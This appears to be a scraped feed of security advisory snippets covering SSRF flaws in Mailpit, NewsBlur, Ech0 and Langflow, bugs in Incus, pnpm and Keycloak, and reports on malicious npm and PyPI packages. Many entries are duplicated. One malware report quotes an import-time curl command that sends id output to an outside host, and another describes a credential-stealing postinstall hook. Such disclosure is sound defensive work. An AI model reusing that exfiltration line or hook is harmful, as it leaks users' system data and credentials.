Server-side Request Forgery (SSRF)

Overview Affected versions of this package are vulnerable to Server-side Request Forgery SSRF in the HTML processing component due to a missing IP-filter dialer. An attacker can access internal network resources by crafting malicious HTML content that triggers requests to private, loopback, or IM...

Server-side Request Forgery (SSRF)

Overview Affected versions of this package are vulnerable to Server-side Request Forgery SSRF in the HTML processing component due to a missing IP-filter dialer. An attacker can access internal network resources by crafting malicious HTML content that triggers requests to private, loopback, or IM...

GO-2026-5446 Mailpit has an incomplete fix for GHSA-6jxm: HTML check still permits SSRF to private/loopback/IMDS via missing IP-filter dialer in github.com/axllent/mailpit

Mailpit has an incomplete fix for GHSA-6jxm: HTML check still permits SSRF to private/loopback/IMDS via missing IP-filter dialer in github.com/axllent/mailpit...

Malicious code in gx-npm-lib (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e919710d2f28ec776b8165821ebe2fbe480c1e432ec9416c7b73bd1315ee6a6e Package published at version 99.99.99 under a generic name gx-npm-lib — the canonical dependency-confusion shape used to overshadow internal packages...

Malicious code in mi-test-99-tuapellido (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4b71b66c156e0a54b73b6dd2f2f9e994ac9c1ff9ab4d1f9689f1f930b3097f39 On every import, the package's top-level init.py runs os.system"curl http://6krddfbeqw0pisps3egdsofu9lfc33vrk.oastify.com -d $id". This unconditional...

MAL-2026-6473 Malicious code in colorpicker-ui (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 226e4e81049c5688a16a198fb9a90ab3d11d371b621e367da4590632f4e5e140 Package presents itself as a minimal React color-picker but ships a postinstall hook "postinstall": "node setup.js" that performs targeted credential...

Malicious code in colorpicker-ui (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 226e4e81049c5688a16a198fb9a90ab3d11d371b621e367da4590632f4e5e140 Package presents itself as a minimal React color-picker but ships a postinstall hook "postinstall": "node setup.js" that performs targeted credential...

CVE-2026-56771

NewsBlur before version 14.5.0 contains a server-side request forgery vulnerability in the addurl endpoint that allows authenticated users to make arbitrary server requests to internal networks by failing to filter private IP addresses. Attackers can exploit this to access localhost services and...

GO-2026-5331 Ech0: Unauthenticated SSRF in GetWebsiteTitle allows access to internal services and cloud metadata in github.com/lin-snow/ech0

Ech0: Unauthenticated SSRF in GetWebsiteTitle allows access to internal services and cloud metadata in github.com/lin-snow/ech0...

GO-2026-5397 Incus has a Nil-Pointer Dereference Panic via Bucket Metadata in github.com/lxc/incus

Incus has a Nil-Pointer Dereference Panic via Bucket Metadata in github.com/lxc/incus...

GO-2026-5168 Incus has Unbounded YAML Metadata Decode via Parsing in github.com/lxc/incus

Incus has Unbounded YAML Metadata Decode via Parsing in github.com/lxc/incus...

CVE-2026-55698

pnpm is a package manager. Prior to 10.34.2 and 11.5.3, pnpm can persist package-manager bootstrap metadata in the first YAML document of pnpm-lock.yaml. Before the patch, direct pnpm execution trusted an already resolved packageManagerDependencies entry when the committed env lockfile contained...

EUVD-2026-39524

NewsBlur before version 14.5.0 contains a server-side request forgery vulnerability in the addurl endpoint that allows authenticated users to make arbitrary server requests to internal networks by failing to filter private IP addresses. Attackers can exploit this to access localhost services and...

CVE-2026-56771 NewsBlur < 14.5.0 - Server-Side Request Forgery via add_url Endpoint

NewsBlur before version 14.5.0 contains a server-side request forgery vulnerability in the addurl endpoint that allows authenticated users to make arbitrary server requests to internal networks by failing to filter private IP addresses. Attackers can exploit this to access localhost services and...

CVE-2026-56771

NewsBlur prior to 14.5.0 is affected by an SSRF in the add_url endpoint. The issue lets authenticated users trigger arbitrary server requests to internal networks by failing to filter private IPs, potentially reaching localhost services and cloud metadata endpoints. This enables internal network ...

CVE-2026-56771 NewsBlur < 14.5.0 - Server-Side Request Forgery via add_url Endpoint

NewsBlur before version 14.5.0 contains a server-side request forgery vulnerability in the addurl endpoint that allows authenticated users to make arbitrary server requests to internal networks by failing to filter private IP addresses. Attackers can exploit this to access localhost services and...

CVE-2026-56771 NewsBlur < 14.5.0 - Server-Side Request Forgery via add_url Endpoint

NewsBlur before version 14.5.0 contains a server-side request forgery vulnerability in the addurl endpoint that allows authenticated users to make arbitrary server requests to internal networks by failing to filter private IP addresses. Attackers can exploit this to access localhost services and...

keycloak-rhel9: Organization Data Leak After Feature Disabled in Keycloak

A flaw was found in Keycloak. An authenticated user with existing organization membership can exploit this flaw by accessing user-facing APIs, such as the account API or by requesting an OpenID Connect OIDC token with the 'organization' scope. This allows organization metadata to be disclosed in...

Security Bulletin: SSRF Vulnerability in Langflow OSS Legacy Components Bypasses Protection

Summary Langflow OSS versions = 1.9.3 contain SSRF vulnerability in legacy RSS Reader and SearXNG components that bypass SSRF protection introduced in v1.9.3. RSSReaderComponent calls requests.getself.rssurl directly on user input without validateurlforssrf check, completely bypassing protection...

CVE-2026-55698 pnpm: Project env lockfile can short-circuit package-manager resolution and execute lockfile-selected pnpm bytes

pnpm is a package manager. Prior to 10.34.2 and 11.5.3, pnpm can persist package-manager bootstrap metadata in the first YAML document of pnpm-lock.yaml. Before the patch, direct pnpm execution trusted an already resolved packageManagerDependencies entry when the committed env lockfile contained...